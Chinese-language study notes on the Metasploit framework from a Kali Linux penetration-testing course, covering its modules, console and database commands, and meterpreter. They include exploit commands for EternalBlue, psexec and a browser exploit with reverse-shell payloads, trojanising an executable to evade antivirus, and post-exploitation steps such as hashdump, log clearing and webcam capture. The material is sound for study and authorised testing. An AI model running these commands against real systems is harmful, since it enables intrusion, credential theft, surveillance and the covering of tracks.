笔记内容参考安全牛课堂苑房弘老师的Kali Linux渗透测试教程
Metasploit是目前最流行、最强大、最具扩展性的渗透测试平台,一定程度上统一了渗透测试和漏洞研究的工作环境,使得新的攻击代码比较容易加入框架。Metasploit更新速度非常快,几乎每周都会有版本更新,所以2014年之后市场上没有再出现新的Metasploit教材。
Rex :操作系统级基本库,是MSF的底层依赖
MFS::Core :MSF底层库
MSF::Base :便于用户调用的基本库,提供API (模块功能基于Base库)
MSF::UI :用户界面(最常用MSF console接口)
MSF主目录为/usr/share/metasploit-framework/,其中包括了config配置文件、plugins插件、tools工具、db数据库文件、modules模块文件以及msfconsole、msfdb等命令,modules中的文件为我们最常用的模块文件,其中每个模块中都根据不同的操作系统,分为不同平台不同协议功能对应的漏洞利用文件,这些文件用ruby编写。
modules中的模块主要包括:
exploits
:利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法,是一个流程性概念,其利用过程中往往会用到payloads
payloads
:成功exploit后,攻击过程中执行的代码或指令。可以是能够反弹shell的shellcode,也可以是直接在目标系统上直接执行的系统命令,默认有三类payloads,分别为:
auxiliary
:没有payload的exploits模块,一般在信息收集阶段使用
encoders
:对payloads进行加密,躲避AV检查的模块
post
:取得shell后,进一步运行的攻击指令(运行post模块的方法有两个,一是在取得的shell中直接run运行;二是use相应的post模块,set相应的shell session,然后run运行)
注:ms08_067_netapi.rb
是微软漏洞的编号方式,不同标准有不同的编号方式。ms08-067漏洞,会影响大部分Windows XP系统,通过MSRPC over SMB通道调用Server服务程序中的函数时触发
msfconsole #启动MSF console界面
msfupdate #msf版本更新
help/? #打印当下窗口的帮助文档
help command/command --help #打印command命令的帮助文档
connect #可以看成是msfconsole界面下的nc工具
edit #编辑模块的ruby文件,与用vim编辑相同
show #查看命令,可以看当前环境下的exploits、auxiliary、payloads等模块,其中Rank表示不同模块的评级(成功率和使用难易程度的重要参考),
#最常使用的是`show options`命令,表示当前上下文环境中的选项内容,`show missing`可以查看当前有哪些必须的配置没有设置
show advanced #一些不常用的高级选项,不会在`show options`中显示
search #搜索关键词内容对应的模块,如搜索ms10_046漏洞模块:
(注意搜索出的内容所在基本目录为`/usr/share/metasploit-framework/modules/`),除此之外search还可以添加一些筛选条件,如name、path、type等
info #当前模块的基本信息
use #使用不同的模块文件
set/unset #设置变量/取消变量设置
setg/unsetg #设置全局变量/取消全局变量设置,只会设置当前msf运行环境中的变量,退出msf后设置就复位
save #将设置保存到/root/.msf4/config,msf启动时会读取该文件,这样重新启动msf后设置依然保留
back #从模块上下文退回到msfconsole初始目录
run/exploit #运行漏洞模块
sessions #可以看见当前已经建立的攻击连接,利用`sessions -i id`命令进入指定连接
jobs #查看后台运行的模块
load/unload #连接插件,如load openvas,然后会出现相应的openvas命令,使用时需要用openvas_connect连接外部扫描器
loadpath #调用自己编写的功能模块
route #向session指定路由
resource #调用rc文件的命令并执行,以方便直接取得session
(1)数据库管理所用的命令为msfdb命令:
msfdb init
msfdb reinit
msfdb delete
msfdb start
msfdb stop
(2)在msfconsole中数据库管理命包括:
db_connect
db_disconnect
db_status #查看数据库状态,有无连接
db_nmap #后续可以用hosts命令来查询扫描出的主机
db_rebuild_cache #建立模块文件的缓存,使search搜索速度更快
db_remove
db_export #导出备份信息
db_import #导入备份信息,备份为xml文件
其中db_nmap在nmap功能基础上,将搜索的数据存入数据库,便于后续查询。
分为两类,Active exploit和Passive exploit,具体区别如下:
Active exploit,攻击目标开放了某个端口服务,攻击者利用exploit传输payload,使攻击目标反弹shell或者建立连接连入攻击者,也就是说攻击者主动发起攻击,一般去攻击服务器端程序,也是最常用的。
注:永恒之蓝ms17_010_eternalblue是在Windows的SMB服务处理SMB v1请求时发生的漏洞,这个漏洞导致攻击者在目标系统上可以执行任意代码,它影响的范围包括win7和sever 2008的所有版本系统。
eg1:以永恒之蓝漏洞利用
use auxiliary/acanner/smb/smb_ms17_010 #进行漏洞分析,看445端口能否被入侵
set RHOSTS 10.10.11.122
run #如果结果中出现`Host is likely VULNERABLE to MS17-010`,则说明主机很可能有永恒之蓝漏洞
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.11.122
set payload windows/meterpreter/reverse_tcp
run #随后可以看到进入了meterpreter
eg2:(前提知道攻击目标的账户名和密码)
use exploit/windows/smb/psexec
set RHOSTS 10.10.11.122
set PAYLOAD windows/shell/reverse_tcp
set LHOST 10.10.11.151
set LPORT 4444
set SMBUSER user1
set SMBPASS pass1
run
Passive exploit,利用客户端程序的漏洞,客户端向存在exploit的服务端发送请求,返回的漏洞利用代码使得客户端可以反弹shell (reverse_tcp)或者反向建立连接(bind_tcp)连入攻击者,也就是说攻击者诱使攻击目标连接服务程序,通过返回的代码完成攻击,一般去攻击客户端程序。
eg:(利用攻击目标浏览器的漏洞,诱使攻击目标用浏览器访问攻击者设置的目录文件)
use exploit/windows/browser/ms07_017_ani_loadimage_chunksize
set URIPATH / #诱使攻击目标访问的目录
set PAYLOAD windows/shell/reverse_tcp
set LHOST 10.10.11.151
set LPORT 4444
run #exploit成功后只是伪造了一个有漏洞利用代码的站点,等待攻击目标连接
Payload是在攻击目标主机中真正执行的代码,它不仅可以用exploit模块加载,而且也可以作为独立的个体,通过诱使攻击目标运行而发动攻击。
Payload模块可以用generate命令修改代码:
generate #把Payload代码以16进制格式输出
generate -b 'xx' #除去Payload中的坏字符'xx',除去的过程是重新编码,MSF会选择最佳的Encoder方式
generate -i 5 -x 'yyy.exe' -f 'xyyy.exe' #对Payload加密5轮,将Payload附加在yyy.exe程序中,生成新的程序命名为xyyy.exe
#这样xyyy.exe在目标主机上执行时,yyy.exe功能不发生变化,而Payload会被执行
generate -s 10 #在Payload前生成10个nop字节(nop:EIP返回到存储nop sled的任意地址时将递增,最终导致shellcode执行)
generate -t c #生成c语言格式的Payload
一种高级、动态、可扩展的Payload,可以基于meterpreter上下文利用更多漏洞发起攻击,同时也是后渗透测试阶段一站式操作界面。
完全基于内存的DLL注入式payload(不写硬盘),不会在日志文件中留下痕迹,会注入合法进程并建立stager,隐蔽性非常好。可以基于stager上传和预加载DLL进行扩展模块的注入,可以基于stager建立的socket连接建立加密的TLS通信隧道
服务端使用C语言编写
客户端提供基于Ruby的全特性API(支持其他语言,但功能可能受限)
backround #退回msfconsole界面,同样适用于msf界面进入的普通shell的退回操作。若是从shell中进入的,退回shell则用exit
pwd/cd/cat/ls/ps/reboot/shutdown/.. #些基本命令都可以使用,但是注意没有补齐功能
edit #Meterpreter界面下的vi
lpwd #显示当前主机的工作目录(pwd是目标主机的工作目录)
lcd #当前主机目录的切换
run/bgrun #运行/后台运行命令,tab后有几百个选择,可以实现远程桌面监控、usb痕迹查看等功能,功能十分强大
clearev #清除目标主机的系统日志
download/upload #下载/上传文件(注意表示windows的目录要用\\)
execute -f xx -i #执行xx程序,-i参数表示与该程序进行交互,-H表示将窗口隐藏执行
getuid #查看当前登录的账号
getprivs #查看当前具有的权限
load priv #加载priv插件
getsystem #加载priv后,提权变为系统账号
getpid #meterpreter注入的进程号
migrate #迁移meterpreter注入的进程,一般将session迁移到系统进程,如exploer
hashdump或者run post/windows/gather/hashdump #从SAM数据库中导出本地用户账号
#注:SAM文件是windows的用户账户数据库,所有用户的登录名及口令等
#相关信息都会保存在这个文件中,类似于unix系统中的passwd文件
sysinfo #获取系统信息
kill #杀死进程
shell #反弹shell
show_mount #显示分区
search #搜索文件
netstat/arp/ipconfig/ifconfig/route/... #支持部分在windows cmd和linux shell中的命令
idletime #查看计算机的空闲时间
resource #连接一个外部文件并执行,文件中一般是要执行的命令
record_mic #开启麦克风
webcam_list #列出电脑上开启的摄像头
webcam_snap -i 1 -v false #每隔1秒钟进行拍照
无需运行环境,在攻击目标中直接运行原生python代码
load python #加载python插件
python_execute 'xxx' #运行python语句
python_import #导入python脚本文件
Msfcli是Metasploit提供的一种命令行接口,在使用时用一句命令完成所有动作,由msfconsole -x
进入,使用cli接口的目的主要是编写脚本时便于引用,如:
msfconsole -x 'use exploit/windows/smb/ms08_067+netapi;
set RHOST 1.1.1.1;set PAYLOAD windows/meterpreter/reverse_tcp;
set LHOST 1.1.1.6;set LPORT 5555;set target 34;exploit'